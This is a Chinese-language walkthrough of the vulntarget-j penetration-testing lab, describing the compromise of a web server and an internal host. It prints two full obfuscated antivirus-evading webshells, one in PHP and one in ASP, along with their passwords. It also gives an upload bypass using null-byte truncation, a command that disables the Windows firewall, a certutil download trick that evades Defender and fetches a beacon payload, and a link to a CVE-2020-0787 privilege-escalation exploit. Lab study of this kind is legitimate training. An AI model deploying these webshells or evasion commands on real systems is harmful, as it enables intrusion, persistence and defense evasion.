vulntarget-j打靶记录:

拓朴图如下:

640

1.第一层:

1.1信息收集:

使用一系列扫描工具都可以进行初步的发现工作,nmap,tscanplus等,我用后者:

扫出如下端口开放:

640

有一些指纹信息但我才疏学浅,还需要进一步进行测试!

指纹识别一手:

ehole指纹识别

打开如下几个端口开放站点:

  • http://192.168.189.138:80/

    • 80端口是fastadmin的框架

    我搜索了这个框架的诸多历史漏洞都没能成功利用,选择对其他开放端口进行进一步的探索。

    原因:可能是因为其后台可能已经不是默认路径了,决定尝试从旁站打

  • http://192.168.189.138:7001/

    • 7001端口对其进行目录扫描工作:

2

查询状态码是200,301的路径:有如下有信息回显:

3

发现了:Kindeditor

直接访问默认http:*//192.168.189.138:7001/kindeditor.js*

4

得知其kindeditor版本:version 3.5.5

  • 存在目录遍历漏洞:KindEditor 3.4.2&3.5.5列目录漏洞

    1
    2
    3
    4
    /php/file_manager_json.php?path=../

    `.././../`等价于`../../`用于绕过`../../`被ban
    /php/file_manager_json.php?path=.././../

    一层层向上层遍历,读取路径信息:

    5

    成功获取关键fastadmin后台管理关键路径:http://192.168.189.138/FNeSOgYGkp.php

    6

    尝试弱口令登录:admin/admin123

    7

  • http://192.168.189.138:5985/

1.2fastadmin后台getshell

这一部分打靶场过程中,有些问题我直接在后台加了一个一句话的webshell。

这里可以看原文wp:https://mp.weixin.qq.com/s/6_j38gpvTfCVDTcCYizCYA

这里使用蚁剑连接上后台后,有些命令执行不了:

如图:

10

上冰蝎免杀马:成功执行如下图:

11

估计是被杀软检测到了蚁剑命令执行的流量,被其阻止,于是这里尝试传一手冰蝎马,这里我传入的是经过变形的冰蝎免杀马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
@error_reporting(0);
session_start();
$xlpassHeciStxX= base64_decode(base64_decode("TVRoaE0yTmxObU15WVdOak1EbG1PQT09"));
$_SESSION['k']=$xlpassHeciStxX;
session_write_close();
$xlpassMaFzRIgD=base64_decode(base64_decode("YjJKMWFHRnZjbkJtTlhWM05EUmtkbTl4"));
$xlpasshFlVqPXA='openssl';
$xlpassDzMftnwU=xlpassGDImFiWx($xlpassMaFzRIgD);
$xlpassDlNfXLyE="file_g".chr(101)."t_"."con".base64_decode("dGVudHM=");
$xlpassUxHfrMtm=$xlpassDlNfXLyE($xlpassDzMftnwU);
if(!extension_loaded($xlpasshFlVqPXA))
{
$xlpasslXjmfyLh="base64_"."decode";
$xlpassUxHfrMtm=$xlpasslXjmfyLh("/*X]-DP@i*/".$xlpassUxHfrMtm);
for($i=0;$i<strlen($xlpassUxHfrMtm);$i++) {

}
}
$xlpassUxHfrMtm=openssl_decrypt($xlpassUxHfrMtm, base64_decode(base64_decode("UVVWVE1UST0=")).chr(56), $xlpassHeciStxX);
$xlpassPwEkBMIT=explode('|',$xlpassUxHfrMtm);
$xlpassHwKfunPk=$xlpassPwEkBMIT[1];
class xlpassQjCZZIMP{public function __invoke($p) {eval("/*X]-DP@i*/".$p."");}}
$t = base64_decode("PSQ6PGwhX18+ZighJkA=")^base64_decode("XkVWUDNULDpMOU5USCM=");
@${'t'}(new xlpassQjCZZIMP(),$xlpassHwKfunPk);
function xlpassGDImFiWx($xlpasstoFWKZzi){
$di15 = '';
$xlpasshyyFKCjD = (8025+32040)*intval(chr(48));
$xlpassgZLyImuO = (652-19364)*intval(chr(48));
for ($i = 0, $j = strlen($xlpasstoFWKZzi); $i < $j; $i++){
$xlpasshyyFKCjD <<= 5;
if ($xlpasstoFWKZzi[$i] >= 'a' && $xlpasstoFWKZzi[$i] <= 'z'){
$xlpasshyyFKCjD += (ord($xlpasstoFWKZzi[$i]) - 97);
} elseif ($xlpasstoFWKZzi[$i] >= '2' && $xlpasstoFWKZzi[$i] <= '7') {
$xlpasshyyFKCjD += (24 + $xlpasstoFWKZzi[$i]);
} else {
exit(1);
}
$xlpassgZLyImuO += 5;
while ($xlpassgZLyImuO >= 8){
$xlpassgZLyImuO -= 8;
$di15 .= chr($xlpasshyyFKCjD >> $xlpassgZLyImuO);
$xlpasshyyFKCjD &= ((1 << $xlpassgZLyImuO) - 1);}}
return $di15;}
?>

连接密码是:icon123,成功连接如下:

8

  • 查询进程:(查询相关杀软进程是否存在)

9

1.3 杀入内网

1.3.1内网信息收集

  • ipconfig /all 查询相关网卡信息可以发现有两个网段

12

  • whoami:是system权限不需要进行提权操作
  • netstat -ano:查询端口开放程度,打算开启关键端口,为后续扩大战果做准备,如开启远联3389
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
开放如下:
C:\phpstudy_pro\WWW\fastadmin\public> netstat -ano
活动连接
协议 本地地址 外部地址 状态 PID
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 1356
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 648
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 1376
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 1708
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:7001 0.0.0.0:0 LISTENING 1356
TCP 0.0.0.0:18716 0.0.0.0:0 LISTENING 6768
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49152 0.0.0.0:0 LISTENING 452
TCP 0.0.0.0:49153 0.0.0.0:0 LISTENING 760
TCP 0.0.0.0:49154 0.0.0.0:0 LISTENING 808
TCP 0.0.0.0:49155 0.0.0.0:0 LISTENING 1172
TCP 0.0.0.0:49158 0.0.0.0:0 LISTENING 552
TCP 0.0.0.0:49159 0.0.0.0:0 LISTENING 564
TCP 10.0.0.10:139 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:54360 0.0.0.0:0 LISTENING 6768
TCP 192.168.189.138:80 192.168.189.1:43681 ESTABLISHED 1356
TCP 192.168.189.138:139 0.0.0.0:0 LISTENING 4
TCP 192.168.189.138:50732 101.199.128.208:80 ESTABLISHED 6768
TCP 192.168.189.138:50744 223.167.166.51:80 ESTABLISHED 6768
TCP [::]:80 [::]:0 LISTENING 1356
TCP [::]:135 [::]:0 LISTENING 648
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:3306 [::]:0 LISTENING 1376
TCP [::]:3389 [::]:0 LISTENING 1708
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:7001 [::]:0 LISTENING 1356
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49152 [::]:0 LISTENING 452
TCP [::]:49153 [::]:0 LISTENING 760
TCP [::]:49154 [::]:0 LISTENING 808
TCP [::]:49155 [::]:0 LISTENING 1172
TCP [::]:49158 [::]:0 LISTENING 552
TCP [::]:49159 [::]:0 LISTENING 564
UDP 0.0.0.0:500 *:* 808
UDP 0.0.0.0:3389 *:* 1708
UDP 0.0.0.0:3600 *:* 6768
UDP 0.0.0.0:3602 *:* 6768
UDP 0.0.0.0:4500 *:* 808
UDP 0.0.0.0:5355 *:* 948
UDP 0.0.0.0:18716 *:* 6768
UDP 0.0.0.0:53127 *:* 6768
UDP 0.0.0.0:54145 *:* 6768
UDP 0.0.0.0:57053 *:* 6768
UDP 0.0.0.0:61954 *:* 6768
UDP 0.0.0.0:63826 *:* 6768
UDP 10.0.0.10:137 *:* 4
UDP 10.0.0.10:138 *:* 4
UDP 192.168.189.138:137 *:* 4
UDP 192.168.189.138:138 *:* 4
UDP [::]:500 *:* 808
UDP [::]:3389 *:* 1708
UDP [::]:4500 *:* 808
UDP [::]:5355 *:* 948
UDP [fe80::45d5:bdde:699e:c4e6%13]:546 *:* 760
UDP [fe80::bc66:a9c6:22a2:6bb0%12]:546 *:* 760

发现是开启的3389端口,接下来决定上马拿一个持续性shell,并尝试搜索各种凭据信息。

  • 上马,白加黑!!!
    • 真的学点免杀吧,不然马都上不去难受

白加黑https://mp.weixin.qq.com/s/0q7tJ07tosNOX62omsPhqg

进入后直接,frp搭一个稳定的反向socks代理,方便后续进行一下横向操作。

关闭防火墙

1
netsh advfirewall set allprofiles state off

查一些mac表:arp -a

发现了有记录:

9

直接扫描这个内网ip的相关端口开放情况:

13

  • 坑点
    • 其实坑点都算不上这里,说白了还是自己信息搜集的不够仔细,一开始进行端口扫描的时候,只探测了比较top的前1000,没有再过多深究,导致自己对着打了半天也没什么头绪,卡住了后面看了官方的wp才知道,还是自己信息收集没做到位!!!

14

遗漏了18000,后续他也是依靠这里直接getshell的!

再度反思自己信息收集,信息收集后续打靶要反复拷打自己。。。。

目录扫描发现了一些关键的路径:

15

通过/license.txt泄露了他是一个文本编辑器FCKeditor上网上查询其有无相关的漏洞可以打:

查到几个关键路径:

  • 查看Fckeditor版本:
    • /editor/dialog/fck_about.html
  • 文件上传可以利用的路径:
1
2
3
http://10.0.0.222:18000/editor/filemanager/connectors/test.html
http://10.0.0.222:18000/editor/filemanager/connectors/uploadtest.html
http://10.0.0.222:18000/editor/filemanager/browser/default/browser.html

访问:http://10.0.0.222:18000/editor/filemanager/connectors/test.html

其可以直接传文件:挂上代理上burp传马。

寻常🐎都会被gg,需要上传免杀的webshell

直接传马:

发现没有回显路径,并没有成功上传成功这个webshell!

16

我尝试修改后缀看是不是有黑名单,一看还真是,其他后缀的貌似都是可以正常文件上传的,那么就需要我进行一下,简单的绕过咯!

17

这里利用Fckeditor的特性()和00截断:

  • 他上传相同的文件不会覆盖而是在后面加(1),
  • 00截断绕过:

18

第一次上传之后是xlaq.asp_txt

第二次上传时xlaq(1).asp

19

并且返回了上传路径直接冰蝎连接即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<%
ReSpoNsE.CharSet = "U"&"T"&"F"&"-"&Chr("56")
xlpassGJFMRCtT=Chr("98")&Chr("57")&"f9"&"208"&Chr("100")&Chr("57")&"05f"&Chr("57")&Chr("98")&Chr("54")&"a"
sEssION("xlpasseoCTdmis")="xlpassciBMNYuC"
%><%'xlpassFpmTypgS%><%
SeSsioN("k")=xlpassGJFMRCtT
SeSsIon("xl")="https://"&"www."&"test."&"kk2024."&"cn"
xlpassERiIixvE=ReQuest.TotalBytes
%><%'xlpassSAtVSnMK%><%
xlpassXRRYDCoO=REqUesT.BinaryRead(xlpassERiIixvE)
%><%
SesSiOn.ConTentS.REmoVe("xl")
%><%
FoR xlpassaIbvNLTN=Chr("49") To xlpassERiIixvE
xlpassVKROgtnZ=ascb(midb(xlpassXRRYDCoO,xlpassaIbvNLTN,Chr("49")))
xlpassWUqIbRZA = Asc(Mid(xlpassGJFMRCtT,(xlpassaIbvNLTN and 15)+Chr("49"),Chr("49")))
xlpassZqfJQzhz=xlpassZqfJQzhz&Chr(xlpassVKROgtnZ Xor xlpassWUqIbRZA)
Next
%><%'xlpassnZcZQlxA%><%ExecUte(xlpassZqfJQzhz)
%>

密码:xlaq0902

查询杀软进程:有wdf

20

2.第二层

成功拿到第二层的webshell后,发现冰蝎无法正常上传文件。这时候我用了一个局域网小型共享的软件,直接在第一层拿下的内网主机上上传第三层的转发木马,以及相关横向工具,直接在第一台主机开启一个服务:

1
chfs.exe --port=8888

21

这时候我准备直接用windows自带的 certutil.exe进行下载,但是发现根本无法下载,直接就会被wdf拦截:

1
certutil.exe -urlcache -split -f http://10.0.0.10:8888/chfs/shared/beacon.exe exp.exe

我做出如下调整尝试绕过下载拦截:

1
copy c:\windows\system32\certutil.exe C:\\Users\\Public\\Documents\\a.exe

我对其进行复制改名操作后,执行下载,但是还是被拦截了

根据一番资料查阅,查到了这里有一种绕过方式很CTF,很技巧学习到了:

1
b.exe -url""""ca^c^he -spl""""it -f http://10.0.0.10:8888/chfs/shared/beacon.exe exp.exe

最后成功下载到目标机器上!!!

参考文章:探究certutil在杀软中的绕过实践:360,火绒,wdf

https://xz.aliyun.com/t/12503?time__1311=GqGxuCG%3DeYq052x%2BxCwE8pQitku7bD

后续会给这部分文章补上!

后续就是提权,没有什么过多的讲解更多的是应用exp.

2.1提权——CVE-2020-0787

漏洞概述

当Windows背景智能传输服务(BITS)没有正确处理符号链接时,存在特权提升漏洞。成功利用此漏洞的攻击者可以改写目标文件,从而提升权限。要利用这个漏洞,攻击者首先必须登录系统,攻击者可以运行EXP,利用该漏洞来提权进而完全控制受影响的系统。漏洞爆出后的安全更新通过纠正Windows BITS处理符号链接的方式修复了这个漏洞。

EXP进行利用的思路是,首先提供给目标服务一个文件夹路径,该路径最初将作为另一个“物理”目录的 junction (连接)点。我们创建了一个新的任务:“下载”一个本地文件,并且在TMP文件上设置 Oplock 。等任务恢复后,该服务会模拟 RPC 客户端身份开始写入 TMP 文件,触发 Oplock 。然后,我们需要将挂载点切换至对象目录(Object Directory),创建2个符号链接。此时TMP文件会指向我们拥有的任意文件,而“本地”文件将指向 System32 目录中的一个新的 dll 文件。在释放 Oplock 后,服务会继续写入原始的 TMP 文件,但会通过我们设置的2个符号链接执行最终的移动操作,这就是近几年来Windows漏洞中的一类 “任意文件移动” 漏洞,相对于内存破坏漏洞而言,这类漏洞不会导致目标主机蓝屏,在执行时有较高的稳定性和隐蔽性。

影响版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
Windows 10 Version 1809 for ARM64-based Systems

Windows Server 2008 for 32-bit Systems Service Pack 2

Windows RT 8.1

Windows 8.1 for x64-based systems

Windows 8.1 for 32-bit systems

Windows 7 for x64-based Systems Service Pack 1

Windows 7 for 32-bit Systems Service Pack 1

Windows Server 2016 (Server Core installation)

Windows Server 2016

Windows 10 Version 1607 for x64-based Systems

Windows 10 Version 1607 for 32-bit Systems

Windows 10 for x64-based Systems

Windows 10 for 32-bit Systems

Windows Server, version 1903 (Server Core installation)

Windows 10 Version 1903 for ARM64-based Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1709 for ARM64-based Systems

Windows 10 Version 1709 for x64-based Systems

Windows 10 Version 1709 for 32-bit Systems

Windows Server, version 1909 (Server Core installation)

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows Server 2019 (Server Core installation)

Windows Server 2019

Windows Server 2012 R2 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 (Server Core installation)

Windows Server 2012

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

Windows 10 Version 1803 for ARM64-based Systems

Windows Server, version 1803 (Server Core Installation)

Windows 10 Version 1803 for x64-based Systems

Windows 10 Version 1803 for 32-bit Systems

exp链接https://cloud.tencent.com/developer/tools/blog-entry?target=https%3A%2F%2Fgithub.com%2Fcbwang505%2FCVE-2020-0787-EXP-ALL-WINDOWS-VERSION&objectId=2211314&objectType=1